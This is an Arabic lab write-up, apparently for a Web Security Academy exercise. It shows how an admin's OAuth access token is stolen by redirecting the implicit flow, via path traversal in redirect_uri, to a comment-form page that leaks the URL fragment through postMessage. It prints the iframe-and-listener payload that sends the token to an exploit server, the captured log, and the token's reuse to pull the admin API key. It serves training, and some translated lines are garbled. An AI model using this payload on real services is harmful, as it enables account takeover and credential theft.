> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# سرقة رمز وصول OAuth عبر صفحة وكيل

### سرقة رموز وصول OAuth عبر صفحة وسيطة

**هدف المختبر**

يُطبق هذا المختبر خدمة OAuth تتيح المصادقة عبر شبكة اجتماعية. / يسمح لنا OAuth بسبب عدم كفاية التحقق من جانب المزوّد بأن **نوجّه رمز الوصول إلى صفحة عشوائية من تطبيق العميل**.

الهدف هو:

* identify **ثغرة ثانوية** في تطبيق العميل،
* لاستخدامها كـ **صفحة وسيطة** لاستخراج رمز وصول OAuth الخاص بالمسؤول،
* ثم استخدام هذا الرمز لاستعادة \*\*l

" سيفتح المسؤول أي محتوى يُرسل من الخادم التشغيلي ولديه بالفعل جلسة OAuth نشطة.

<figure><img src="/files/73d42b64bb29fd946cac2deeb47e00432491fb77" alt=""><figcaption></figcaption></figure>

\*\*تحليل تطبيق العميل\*\*

تُلاحظ \*\*منطقة تعليقات\*\* أسفل مقالات المدونة.

عند تحميل نموذج التعليقات، يُرسل طلب GET إلى

```http
GET /post/comment/comment-form
```

<figure><img src="/files/3d51f29a53bb2bb4969586e0144f14a189c73f2c" alt=""><figcaption></figcaption></figure>

يُحمَّل النموذج داخل **iframe**، وهو ظاهر في شيفرة مصدر صفحة المنشور:

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="/files/e4af221567a42716b9df46ac83ec4e6b131cf947" alt=""><figcaption></figcaption></figure>

**سلوك JavaScript مثير للاهتمام**

يحتوي النموذج على نص JavaScript كاشف:

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="/files/14ec2a8618192512e8267d8ee60963afc7890f1f" alt=""><figcaption></figcaption></figure>

النقاط الرئيسية:

* تقرأ الشيفرة \*\* جزء المعرّف في عنوان URL (`#`)\*\*.
* وترسل محتواه إلى الصفحة الأم عبر `postMessage`.
* وهذا يتيح إمكانية *جعل رمز OAuth الموجود في الجزء المعرّف*\*.

وبالتالي يمكن استخدام نموذج التعليقات كـ **صفحة وسيطة**.

**استغلال OAuth عبر التدفق الضمني**

يُعدَّل تحويل OAuth ليشير إلى نموذج التعليقات:

```bash
/../post/comment/comment-form
```

مثال على استعلام OAuth مُعالَج:

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

بعد المصادقة، يُعيد خادم OAuth التوجيه إلى:

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

الـ **لذا يتم كشف الرمز في جزء المعرّف من URL** ثم يُنقل إلى الصفحة الأم عبر `postMessage`.

<figure><img src="/files/65c433639ff1f9797cf0ed225758b7b1f61ecf6a" alt=""><figcaption></figcaption></figure>

**الحمولة المرسلة إلى الضحية**

من الخادم التشغيلي، نرسل المحتوى التالي:

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

العملية:

* يُفعِّل الـiframe التدفق الضمني لـ OAuth.
* يُحقن الرمز في جزء المعرّف من URL.
* نموذج التعليقات المُرسَل عبر `postMessage`.
* تلتقطه الشيفرة وتستخرجه إلى الخادم التشغيلي.

**استعادة الرمز**

في سجلات الخادم التشغيلي:

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="/files/ad8c2558e43bb64a61c1234633002bc4d804f42c" alt=""><figcaption></figcaption></figure>

بعد فك ترميز عنوان URL، يكون الرمز:

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="/files/2efaa4eb389ccc252ab4ec5fdb8169fc540424c8" alt=""><figcaption></figcaption></figure>

**الوصول إلى واجهة API باستخدام الرمز المسروق**

يُستخدم الرمز لاستدعاء مزوّد OAuth `/me` نقطة النهاية

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

الإجابة

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="/files/e774bbcdf587e0e65be27a3056c3949a0ff6c666" alt=""><figcaption></figcaption></figure>

**النتيجة**

* تمت سرقة رمز OAuth الخاص بالمسؤول.
* تم استرداد مفتاح API الخاص بالمسؤول.
* تم التحقق من صحة المختبر بنجاح.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
